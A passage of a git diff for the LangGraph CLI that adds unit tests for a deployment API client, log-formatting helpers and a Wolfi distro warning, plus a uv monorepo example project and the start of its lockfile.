+        transport=transport,
+        headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+        timeout=30,
+    )
+    with pytest.raises(HostBackendError, match="Failed to decode"):
+        c._request("GET", "/bad-json")
+
+
+def test_request_transport_error_raises():
+    def handler(req: httpx.Request) -> httpx.Response:
+        raise httpx.ConnectError("connection refused")
+
+    c = HostBackendClient("https://api.example.com", "test-key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=httpx.MockTransport(handler),
+        headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+        timeout=30,
+    )
+    with pytest.raises(HostBackendError, match="connection refused"):
+        c._request("GET", "/test")
+
+
+def test_create_deployment(client):
+    result = client.create_deployment(
+        name="my-deploy", deployment_type="dev", source="internal_docker"
+    )
+    assert result == {"ok": True}
+
+
+def test_get_deployment(client):
+    result = client.get_deployment("dep-123")
+    assert result == {"ok": True}
+
+
+def test_list_deployments(client):
+    result = client.list_deployments("my-app")
+    assert result == {"ok": True}
+
+
+def test_list_deployments_sends_query_params():
+    def handler(req: httpx.Request) -> httpx.Response:
+        assert req.url.path == "/v2/deployments"
+        assert req.url.params["name_contains"] == "my app"
+        return httpx.Response(200, json={"ok": True})
+
+    c = HostBackendClient("https://api.example.com", "test-key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=httpx.MockTransport(handler),
+        headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+        timeout=30,
+    )
+    result = c.list_deployments("my app")
+    assert result == {"ok": True}
+
+
+def test_delete_deployment(client):
+    result = client.delete_deployment("dep-123")
+    assert result == {"ok": True}
+
+
+def test_request_push_token(client):
+    result = client.request_push_token("dep-123")
+    assert result == {"ok": True}
+
+
+def test_update_deployment(client):
+    result = client.update_deployment(
+        "dep-123", "image:latest", secrets=[{"name": "KEY", "value": "val"}]
+    )
+    assert result == {"ok": True}
+
+
+def test_update_deployment_no_secrets(client):
+    result = client.update_deployment("dep-123", "image:latest")
+    assert result == {"ok": True}
+
+
+def _capturing_client(captured: dict) -> HostBackendClient:
+    def handler(req: httpx.Request) -> httpx.Response:
+        captured["body"] = req.read()
+        return httpx.Response(200, json={"ok": True})
+
+    c = HostBackendClient("https://api.example.com", "key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=httpx.MockTransport(handler),
+        headers={"X-Api-Key": "key", "Accept": "application/json"},
+        timeout=30,
+    )
+    return c
+
+
+def test_update_deployment_forwards_tracked_packages():
+    captured: dict = {}
+    c = _capturing_client(captured)
+    c.update_deployment(
+        "dep-123",
+        "image:latest",
+        tracked_packages=["google-adk:1.0.0"],
+    )
+    body = json.loads(captured["body"])
+    assert body["tracked_packages"] == ["google-adk:1.0.0"]
+    assert "tracked_packages" not in body["source_revision_config"]
+
+
+def test_update_deployment_omits_tracked_packages_when_absent():
+    captured: dict = {}
+    c = _capturing_client(captured)
+    c.update_deployment("dep-123", "image:latest")
+    body = json.loads(captured["body"])
+    assert "tracked_packages" not in body
+
+
+def test_update_deployment_internal_source_forwards_tracked_packages():
+    captured: dict = {}
+    c = _capturing_client(captured)
+    c.update_deployment_internal_source(
+        "dep-123",
+        source_tarball_path="path/to/tarball",
+        config_path="langgraph.json",
+        tracked_packages=["google-adk:>=0.5"],
+    )
+    body = json.loads(captured["body"])
+    assert body["tracked_packages"] == ["google-adk:>=0.5"]
+    assert body["source_revision_config"]["source_tarball_path"] == "path/to/tarball"
+    assert "tracked_packages" not in body["source_revision_config"]
+
+
+def test_update_deployment_internal_source_omits_tracked_packages_when_absent():
+    captured: dict = {}
+    c = _capturing_client(captured)
+    c.update_deployment_internal_source(
+        "dep-123",
+        source_tarball_path="path/to/tarball",
+        config_path="langgraph.json",
+    )
+    body = json.loads(captured["body"])
+    assert "tracked_packages" not in body
+
+
+def test_list_revisions(client):
+    result = client.list_revisions("dep-123", limit=5)
+    assert result == {"ok": True}
+
+
+def test_get_revision(client):
+    result = client.get_revision("dep-123", "rev-456")
+    assert result == {"ok": True}
+
+
+def test_get_build_logs(client):
+    result = client.get_build_logs("proj-1", "rev-1", {"limit": 10})
+    assert result == {"ok": True}
+
+
+def test_get_deploy_logs_all_revisions():
+    def handler(req: httpx.Request) -> httpx.Response:
+        assert "/v1/projects/proj-1/deploy_logs" in str(req.url)
+        assert "/revisions/" not in str(req.url)
+        return httpx.Response(200, json={"logs": [{"message": "running"}]})
+
+    c = HostBackendClient("https://api.example.com", "key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=httpx.MockTransport(handler),
+        headers={"X-Api-Key": "key", "Accept": "application/json"},
+        timeout=30,
+    )
+    result = c.get_deploy_logs("proj-1", {"limit": 10})
+    assert result == {"logs": [{"message": "running"}]}
+
+
+def test_get_deploy_logs_specific_revision():
+    def handler(req: httpx.Request) -> httpx.Response:
+        assert "/v1/projects/proj-1/revisions/rev-2/deploy_logs" in str(req.url)
+        return httpx.Response(200, json={"logs": []})
+
+    c = HostBackendClient("https://api.example.com", "key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=httpx.MockTransport(handler),
+        headers={"X-Api-Key": "key", "Accept": "application/json"},
+        timeout=30,
+    )
+    result = c.get_deploy_logs("proj-1", {"limit": 10}, revision_id="rev-2")
+    assert result == {"logs": []}
diff --git a/libs/cli/tests/unit_tests/test_logs_helpers.py b/libs/cli/tests/unit_tests/test_logs_helpers.py
new file mode 100644
index 0000000..f38e4d1
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_logs_helpers.py
@@ -0,0 +1,58 @@
+from langgraph_cli.deploy import format_log_entry, format_timestamp, level_fg
+
+
+class TestFormatTimestamp:
+    def test_epoch_ms(self):
+        assert format_timestamp(1773119644012) == "2026-03-10 05:14:04"
+
+    def test_string_passthrough(self):
+        assert format_timestamp("2026-03-08T00:00:00Z") == "2026-03-08T00:00:00Z"
+
+    def test_empty(self):
+        assert format_timestamp("") == ""
+
+    def test_none(self):
+        assert format_timestamp(None) == ""
+
+
+class TestFormatLogEntry:
+    def test_full_entry_epoch(self):
+        entry = {"timestamp": 1773119644012, "level": "ERROR", "message": "boom"}
+        result = format_log_entry(entry)
+        assert result == "[2026-03-10 05:14:04] [ERROR] boom"
+
+    def test_full_entry_string(self):
+        entry = {
+            "timestamp": "2026-03-08T12:00:00Z",
+            "level": "ERROR",
+            "message": "boom",
+        }
+        assert format_log_entry(entry) == "[2026-03-08T12:00:00Z] [ERROR] boom"
+
+    def test_no_level(self):
+        entry = {"timestamp": "2026-03-08T12:00:00Z", "message": "hello"}
+        assert format_log_entry(entry) == "[2026-03-08T12:00:00Z] hello"
+
+    def test_no_timestamp(self):
+        entry = {"message": "bare message"}
+        assert format_log_entry(entry) == "bare message"
+
+    def test_empty_entry(self):
+        assert format_log_entry({}) == ""
+
+
+class TestLevelFg:
+    def test_error(self):
+        assert level_fg("ERROR") == "red"
+
+    def test_error_lowercase(self):
+        assert level_fg("error") == "red"
+
+    def test_warning(self):
+        assert level_fg("WARNING") == "yellow"
+
+    def test_info_returns_none(self):
+        assert level_fg("INFO") is None
+
+    def test_empty_returns_none(self):
+        assert level_fg("") is None
diff --git a/libs/cli/tests/unit_tests/test_util.py b/libs/cli/tests/unit_tests/test_util.py
new file mode 100644
index 0000000..0fef596
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_util.py
@@ -0,0 +1,257 @@
+from unittest.mock import patch
+
+from langgraph_cli.deploy import (
+    _extract_deployment_url,
+    format_deployments_table,
+    format_revisions_table,
+)
+from langgraph_cli.util import clean_empty_lines, warn_non_wolfi_distro
+
+
+def test_clean_empty_lines():
+    """Test clean_empty_lines function."""
+    # Test with empty lines
+    input_str = "line1\n\nline2\n\nline3"
+    result = clean_empty_lines(input_str)
+    assert result == "line1\nline2\nline3"
+
+    # Test with no empty lines
+    input_str = "line1\nline2\nline3"
+    result = clean_empty_lines(input_str)
+    assert result == "line1\nline2\nline3"
+
+    # Test with only empty lines
+    input_str = "\n\n\n"
+    result = clean_empty_lines(input_str)
+    assert result == ""
+
+    # Test empty string
+    input_str = ""
+    result = clean_empty_lines(input_str)
+    assert result == ""
+
+
+def test_warn_non_wolfi_distro_with_debian(capsys):
+    """Test that warning is shown when image_distro is 'debian'."""
+    config = {"image_distro": "debian"}
+
+    warn_non_wolfi_distro(config)
+
+    captured = capsys.readouterr()
+    assert (
+        "⚠️  Security Recommendation: Consider switching to Wolfi Linux for enhanced security."
+        in captured.out
+    )
+    assert (
+        "Wolfi is a security-oriented, minimal Linux distribution designed for containers."
+        in captured.out
+    )
+    assert (
+        'To switch, add \'"image_distro": "wolfi"\' to your langgraph.json config file.'
+        in captured.out
+    )
+
+
+def test_warn_non_wolfi_distro_with_default_debian(capsys):
+    """Test that warning is shown when image_distro is missing (defaults to debian)."""
+    config = {}  # No image_distro key, should default to debian
+
+    warn_non_wolfi_distro(config)
+
+    captured = capsys.readouterr()
+    assert (
+        "⚠️  Security Recommendation: Consider switching to Wolfi Linux for enhanced security."
+        in captured.out
+    )
+    assert (
+        "Wolfi is a security-oriented, minimal Linux distribution designed for containers."
+        in captured.out
+    )
+    assert (
+        'To switch, add \'"image_distro": "wolfi"\' to your langgraph.json config file.'
+        in captured.out
+    )
+
+
+def test_warn_non_wolfi_distro_with_wolfi(capsys):
+    """Test that no warning is shown when image_distro is 'wolfi'."""
+    config = {"image_distro": "wolfi"}
+
+    warn_non_wolfi_distro(config)
+
+    captured = capsys.readouterr()
+    assert captured.out == ""  # No output should be generated
+
+
+def test_warn_non_wolfi_distro_with_other_distro(capsys):
+    """Test that warning is shown when image_distro is something other than 'wolfi'."""
+    config = {"image_distro": "ubuntu"}
+
+    warn_non_wolfi_distro(config)
+
+    captured = capsys.readouterr()
+    assert (
+        "⚠️  Security Recommendation: Consider switching to Wolfi Linux for enhanced security."
+        in captured.out
+    )
+    assert (
+        "Wolfi is a security-oriented, minimal Linux distribution designed for containers."
+        in captured.out
+    )
+    assert (
+        'To switch, add \'"image_distro": "wolfi"\' to your langgraph.json config file.'
+        in captured.out
+    )
+
+
+def test_warn_non_wolfi_distro_output_formatting():
+    """Test that the warning output is properly formatted with colors and empty line."""
+    config = {"image_distro": "debian"}
+
+    with patch("click.secho") as mock_secho:
+        warn_non_wolfi_distro(config)
+
+    # Verify click.secho was called with the correct parameters
+    expected_calls = [
+        (
+            (
+                "⚠️  Security Recommendation: Consider switching to Wolfi Linux for enhanced security.",
+            ),
+            {"fg": "yellow", "bold": True},
+        ),
+        (
+            (
+                "   Wolfi is a security-oriented, minimal Linux distribution designed for containers.",
+            ),
+            {"fg": "yellow"},
+        ),
+        (
+            (
+                '   To switch, add \'"image_distro": "wolfi"\' to your langgraph.json config file.',
+            ),
+            {"fg": "yellow"},
+        ),
+        (
+            ("",),  # Empty line
+            {},
+        ),
+    ]
+
+    assert mock_secho.call_count == 4
+    for i, (expected_args, expected_kwargs) in enumerate(expected_calls):
+        actual_call = mock_secho.call_args_list[i]
+        assert actual_call.args == expected_args
+        assert actual_call.kwargs == expected_kwargs
+
+
+def test_warn_non_wolfi_distro_various_configs(capsys):
+    """Test warn_non_wolfi_distro with various config scenarios."""
+    test_cases = [
+        # (config, should_warn, description)
+        ({"image_distro": "debian"}, True, "explicit debian"),
+        ({"image_distro": "wolfi"}, False, "explicit wolfi"),
+        ({}, True, "missing image_distro (defaults to debian)"),
+        ({"image_distro": "alpine"}, True, "other distro"),
+        ({"image_distro": "ubuntu"}, True, "ubuntu distro"),
+        ({"other_config": "value"}, True, "unrelated config keys"),
+    ]
+
+    for config, should_warn, description in test_cases:
+        # Clear any previous output
+        capsys.readouterr()
+
+        warn_non_wolfi_distro(config)
+
+        captured = capsys.readouterr()
+        if should_warn:
+            assert "⚠️  Security Recommendation" in captured.out, (
+                f"Should warn for {description}"
+            )
+            assert "Wolfi" in captured.out, f"Should mention Wolfi for {description}"
+        else:
+            assert captured.out == "", f"Should not warn for {description}"
+
+
+def test_warn_non_wolfi_distro_return_value():
+    """Test that warn_non_wolfi_distro returns None."""
+    config = {"image_distro": "debian"}
+    result = warn_non_wolfi_distro(config)
+    assert result is None
+
+    config = {"image_distro": "wolfi"}
+    result = warn_non_wolfi_distro(config)
+    assert result is None
+
+
+def test_warn_non_wolfi_distro_does_not_modify_config():
+    """Test that warn_non_wolfi_distro does not modify the input config."""
+    original_config = {"image_distro": "debian", "other_key": "value"}
+    config_copy = original_config.copy()
+
+    warn_non_wolfi_distro(config_copy)
+
+    assert config_copy == original_config  # Config should remain unchanged
+
+
+def test_extract_deployment_url_uses_custom_url():
+    deployment = {"source_config": {"custom_url": "https://example.com/custom"}}
+    assert _extract_deployment_url(deployment) == "https://example.com/custom"
+
+
+def test_extract_deployment_url_defaults_to_dash():
+    assert _extract_deployment_url({"id": "dep-123"}) == "-"
+
+
+def test_format_deployments_table():
+    output = format_deployments_table(
+        [
+            {
+                "id": "dep-123",
+                "name": "alpha",
+                "source_config": {"custom_url": "https://alpha.example.com"},
+            },
+            {
+                "id": "dep-456",
+                "name": "beta",
+                "url": "https://beta.example.com",
+            },
+        ]
+    )
+    assert "Deployment ID" in output
+    assert "Deployment Name" in output
+    assert "Deployment URL" in output
+    assert "dep-123" in output
+    assert "alpha" in output
+    assert "https://alpha.example.com" in output
+    assert "dep-456" in output
+
+
+def test_format_revisions_table():
+    output = format_revisions_table(
+        [
+            {
+                "id": "rev-123",
+                "status": "DEPLOYED",
+                "created_at": "2023-11-09T10:00:00Z",
+            },
+            {
+                "id": "rev-456",
+                "status": "CREATING",
+                "created_at": "2023-11-07T05:31:56Z",
+            },
+            {
+                "id": "rev-789",
+                "status": "DEPLOYED",
+                "created_at": "2023-11-08T10:00:00Z",
+            },
+        ]
+    )
+    assert "Revision ID" in output
+    assert "Status" in output
+    assert "Created At" in output
+    assert "rev-123" in output
+    assert "CREATING" in output
+    assert "2023-11-07T05:31:56Z" in output
+    assert "rev-456" in output
+    assert "rev-789" in output
+    assert "REPLACED" in output
diff --git a/libs/cli/uv-examples/monorepo/apps/agent/.env.example b/libs/cli/uv-examples/monorepo/apps/agent/.env.example
new file mode 100644
index 0000000..e570b8b
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/apps/agent/.env.example
@@ -0,0 +1 @@
+OPENAI_API_KEY=
diff --git a/libs/cli/uv-examples/monorepo/apps/agent/langgraph.json b/libs/cli/uv-examples/monorepo/apps/agent/langgraph.json
new file mode 100644
index 0000000..90ff75d
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/apps/agent/langgraph.json
@@ -0,0 +1,12 @@
+{
+  "python_version": "3.12",
+  "graphs": {
+    "agent": "./src/agent/graph.py:graph"
+  },
+  "source": {
+    "kind": "uv",
+    "root": "../..",
+    "package": "agent"
+  },
+  "env": ".env"
+}
diff --git a/libs/cli/uv-examples/monorepo/apps/agent/pyproject.toml b/libs/cli/uv-examples/monorepo/apps/agent/pyproject.toml
new file mode 100644
index 0000000..e381d67
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/apps/agent/pyproject.toml
@@ -0,0 +1,21 @@
+[project]
+name = "agent"
+version = "0.0.1"
+description = "Agent for the uv monorepo example"
+requires-python = ">=3.11"
+dependencies = [
+    "langgraph>=0.6.0,<2",
+    "langchain-core>=0.2.14",
+    "shared",
+    "langgraph-checkpoint-postgres>=3.0.0"
+]
+
+[build-system]
+requires = ["setuptools>=73.0.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[tool.setuptools]
+packages = ["agent"]
+
+[tool.setuptools.package-dir]
+"agent" = "src/agent"
diff --git a/libs/cli/uv-examples/monorepo/apps/agent/src/agent/__init__.py b/libs/cli/uv-examples/monorepo/apps/agent/src/agent/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/cli/uv-examples/monorepo/apps/agent/src/agent/graph.py b/libs/cli/uv-examples/monorepo/apps/agent/src/agent/graph.py
new file mode 100644
index 0000000..64604e0
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/apps/agent/src/agent/graph.py
@@ -0,0 +1,31 @@
+from collections.abc import Sequence
+from typing import Annotated, TypedDict
+
+from langchain_core.messages import AIMessage, BaseMessage
+from langgraph.graph import END, START, StateGraph
+from langgraph.graph.message import add_messages
+from shared import get_dummy_message
+
+
+class State(TypedDict):
+    messages: Annotated[Sequence[BaseMessage], add_messages]
+
+
+def call_model(state: State) -> dict:
+    dummy_message = get_dummy_message()
+    message = AIMessage(content=f"Agent says: {dummy_message}")
+    return {"messages": [message]}
+
+
+def should_continue(state: State):
+    if len(state["messages"]) > 0:
+        return END
+    return "call_model"
+
+
+workflow = StateGraph(State)
+workflow.add_node("call_model", call_model)
+workflow.add_edge(START, "call_model")
+workflow.add_conditional_edges("call_model", should_continue)
+
+graph = workflow.compile()
diff --git a/libs/cli/uv-examples/monorepo/libs/shared/pyproject.toml b/libs/cli/uv-examples/monorepo/libs/shared/pyproject.toml
new file mode 100644
index 0000000..cf2915b
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/libs/shared/pyproject.toml
@@ -0,0 +1,16 @@
+[project]
+name = "shared"
+version = "0.0.1"
+description = "Shared utilities for the uv monorepo example"
+requires-python = ">=3.11"
+dependencies = []
+
+[build-system]
+requires = ["setuptools>=73.0.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[tool.setuptools]
+packages = ["shared"]
+
+[tool.setuptools.package-dir]
+"shared" = "src/shared"
diff --git a/libs/cli/uv-examples/monorepo/libs/shared/src/shared/__init__.py b/libs/cli/uv-examples/monorepo/libs/shared/src/shared/__init__.py
new file mode 100644
index 0000000..d7eaca2
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/libs/shared/src/shared/__init__.py
@@ -0,0 +1,3 @@
+from .utils import get_dummy_message
+
+__all__ = ["get_dummy_message"]
diff --git a/libs/cli/uv-examples/monorepo/libs/shared/src/shared/utils.py b/libs/cli/uv-examples/monorepo/libs/shared/src/shared/utils.py
new file mode 100644
index 0000000..5dc3e0c
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/libs/shared/src/shared/utils.py
@@ -0,0 +1,2 @@
+def get_dummy_message() -> str:
+    return "Hello from shared library!"
diff --git a/libs/cli/uv-examples/monorepo/pyproject.toml b/libs/cli/uv-examples/monorepo/pyproject.toml
new file mode 100644
index 0000000..ea11562
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/pyproject.toml
@@ -0,0 +1,23 @@
+[project]
+name = "uv-monorepo-example"
+version = "0.0.1"
+description = "uv workspace monorepo example for LangGraph CLI integration test"
+requires-python = ">=3.11"
+dependencies = [
+    "langgraph>=0.6.0,<2",
+    "langchain-core>=1.3.3",
+    "langgraph-checkpoint-postgres>=3.0.0"
+]
+
+[tool.uv.workspace]
+members = ["apps/*", "libs/*"]
+
+[tool.uv.sources]
+shared = { workspace = true }
+
+[tool.uv]
+package = false
+
+[build-system]
+requires = ["setuptools>=73.0.0", "wheel"]
+build-backend = "setuptools.build_meta"
diff --git a/libs/cli/uv-examples/monorepo/uv.lock b/libs/cli/uv-examples/monorepo/uv.lock
new file mode 100644
index 0000000..6238822
--- /dev/null
+++ b/libs/cli/uv-examples/monorepo/uv.lock
@@ -0,0 +1,959 @@
+version = 1
+revision = 3
+requires-python = ">=3.11"
+
+[manifest]
+members = [
+    "agent",
+    "shared",
+    "uv-monorepo-example",
+]
+
+[[package]]
+name = "agent"
+version = "0.0.1"
+source = { editable = "apps/agent" }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "langgraph" },
+    { name = "langgraph-checkpoint-postgres" },
+    { name = "shared" },
+]
+
+[package.metadata]
+requires-dist = [
+    { name = "langchain-core", specifier = ">=0.2.14" },
+    { name = "langgraph", specifier = ">=0.6.0,<2" },
+    { name = "langgraph-checkpoint-postgres", specifier = ">=3.0.0" },
+    { name = "shared", editable = "libs/shared" },
+]
+
+[[package]]
+name = "annotated-types"
+version = "0.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" },
+]
+
+[[package]]
+name = "anyio"
+version = "4.13.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "idna" },
+    { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2026.2.25"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" },
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.4.7"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/c2/d7/b5b7020a0565c2e9fa8c09f4b5fa6232feb326b8c20081ccded47ea368fd/charset_normalizer-3.4.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7", size = 309705, upload-time = "2026-04-02T09:26:02.191Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/53/58c29116c340e5456724ecd2fff4196d236b98f3da97b404bc5e51ac3493/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7", size = 206419, upload-time = "2026-04-02T09:26:03.583Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/02/e8146dc6591a37a00e5144c63f29fb7c97a734ea8a111190783c0e60ab63/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e", size = 227901, upload-time = "2026-04-02T09:26:04.738Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/73/77486c4cd58f1267bf17db420e930c9afa1b3be3fe8c8b8ebbebc9624359/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c", size = 222742, upload-time = "2026-04-02T09:26:06.36Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/fa/f74eb381a7d94ded44739e9d94de18dc5edc9c17fb8c11f0a6890696c0a9/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df", size = 214061, upload-time = "2026-04-02T09:26:08.347Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/92/42bd3cefcf7687253fb86694b45f37b733c97f59af3724f356fa92b8c344/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265", size = 199239, upload-time = "2026-04-02T09:26:09.823Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/3d/069e7184e2aa3b3cddc700e3dd267413dc259854adc3380421c805c6a17d/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4", size = 210173, upload-time = "2026-04-02T09:26:10.953Z" },
+    { url = "https://files.pythonhosted.org/packages/62/51/9d56feb5f2e7074c46f93e0ebdbe61f0848ee246e2f0d89f8e20b89ebb8f/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e", size = 209841, upload-time = "2026-04-02T09:26:12.142Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/59/893d8f99cc4c837dda1fe2f1139079703deb9f321aabcb032355de13b6c7/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38", size = 200304, upload-time = "2026-04-02T09:26:13.711Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/1d/ee6f3be3464247578d1ed5c46de545ccc3d3ff933695395c402c21fa6b77/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c", size = 229455, upload-time = "2026-04-02T09:26:14.941Z" },
+    { url = "https://files.pythonhosted.org/packages/54/bb/8fb0a946296ea96a488928bdce8ef99023998c48e4713af533e9bb98ef07/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b", size = 210036, upload-time = "2026-04-02T09:26:16.478Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/bc/015b2387f913749f82afd4fcba07846d05b6d784dd16123cb66860e0237d/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c", size = 224739, upload-time = "2026-04-02T09:26:17.751Z" },
+    { url = "https://files.pythonhosted.org/packages/17/ab/63133691f56baae417493cba6b7c641571a2130eb7bceba6773367ab9ec5/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d", size = 216277, upload-time = "2026-04-02T09:26:18.981Z" },
+    { url = "https://files.pythonhosted.org/packages/06/6d/3be70e827977f20db77c12a97e6a9f973631a45b8d186c084527e53e77a4/charset_normalizer-3.4.7-cp311-cp311-win32.whl", hash = "sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad", size = 147819, upload-time = "2026-04-02T09:26:20.295Z" },
+    { url = "https://files.pythonhosted.org/packages/20/d9/5f67790f06b735d7c7637171bbfd89882ad67201891b7275e51116ed8207/charset_normalizer-3.4.7-cp311-cp311-win_amd64.whl", hash = "sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00", size = 159281, upload-time = "2026-04-02T09:26:21.74Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/83/6413f36c5a34afead88ce6f66684d943d91f233d76dd083798f9602b75ae/charset_normalizer-3.4.7-cp311-cp311-win_arm64.whl", hash = "sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1", size = 147843, upload-time = "2026-04-02T09:26:22.901Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" },
